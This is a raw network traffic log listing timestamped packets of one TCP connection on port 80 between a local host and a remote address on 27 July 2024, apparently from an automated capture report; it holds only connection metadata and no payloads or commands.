Jul 27, 2024 03:19:10.137881994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.137897968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.137919903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.137933016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.137934923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.137948990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.137958050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.137964010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.137980938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.138003111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.138020039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.138628006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.138643026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.138658047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.138674974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.138694048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.138715982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.138731003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.138748884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.138753891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.138768911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.138773918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.138786077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.138792038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.138808012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.138823986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147234917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147268057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147295952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147313118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147327900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147339106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147344112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147355080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147358894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147372007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147375107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147386074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147392988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147401094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147420883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147440910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147628069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147641897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147677898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147703886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147720098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147731066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147737026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147757053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147773027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147918940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147933006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147941113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147967100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147979021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.147983074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.147999048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148003101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148015022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148026943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148041010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148058891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148061991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148088932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148092031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148104906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148123980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148138046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148665905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148682117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148705006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148709059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148720980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148725986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148737907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148741961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148753881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.148761034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148777008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.148792028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.181775093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.181843042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.181859970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.181874037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.181890011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.181902885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.181909084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.181921005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.181963921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.182054996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.192996025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193046093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193100929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193227053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193315983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193331003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193346977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193370104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193384886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193398952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193413973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193428993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193429947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193429947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193429947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193429947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193429947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193429947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193429947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193448067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193481922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193563938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193578959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193593979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193603039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193622112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193634987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193834066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193878889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193922043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193937063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193950891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.193965912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.193981886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.194169998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.194185972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.194200993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.194216013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.194217920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.194241047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.194263935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199299097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199342012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199357033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199361086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199373007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199379921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199398041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199415922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199496984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199512959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199527979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199547052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199556112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199568987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199600935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199630022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199637890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199645996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199654102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199677944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199685097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199692965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199707985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199708939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199723959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199734926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199739933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.199758053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.199778080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.200380087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.200428009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.200459957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.200475931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.200504065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.200516939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.200520039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.200535059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.200551033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.200558901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.200572968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.200584888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.211591005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211613894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211656094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.211667061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211689949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211709023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211715937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211739063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211752892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211766958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211781025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211796999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.211826086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.211826086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.211826086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.211826086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.211826086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.211839914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.211839914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.212280035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.212296009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.212311983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.212323904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.212327003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.212335110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.212353945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.212362051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.225198030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.225250006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.225275040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.225290060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.225305080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.225327969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.225388050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.225388050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.225388050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.225388050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.225388050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.225388050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.225452900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.225467920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.225492001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.225505114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.226296902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.226346016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.226418018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.226432085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.226453066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.226464033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.226468086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.226476908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.226485014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.226495028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.226500034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.226511955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.226516008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.226525068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.226542950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.226557016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.227194071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.227247000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.227250099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.227263927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.227284908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.227284908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.227296114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.227310896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.227323055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.227328062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.227344036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.227348089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.227365971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.227380037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.227576971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.227623940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.235641956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.235713005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.235742092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.235754967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.235769033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.235781908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.235800028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.235809088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.235825062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.235835075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.235841036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.235853910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.235857010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.235862970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.235883951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.235899925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236242056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236257076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236272097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236285925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236301899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236305952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236318111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236335039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236341953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236351967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236365080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236370087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236377001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236386061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236391068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236408949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236419916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236769915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236818075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236851931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236875057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236888885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236896038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236906052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.236907005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236926079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.236937046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.237121105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.237135887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.237150908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.237164974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.237176895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.237200022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.237256050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.237272024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.237287045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.237302065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.237309933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.237323999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.237565041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.237612009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.270314932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.270426035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.270433903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.270442009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.270458937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.270473003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.270474911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.270490885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.270498037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.270508051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.270518064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.270565987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.281673908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.281706095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.281722069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.281733990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.281745911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.281765938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.281768084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.281783104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.281797886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.281804085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.281814098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.281821966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.281835079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.281855106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.282269955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.282291889 CEST	80	49710	85.28.47.31	192.168.2.6
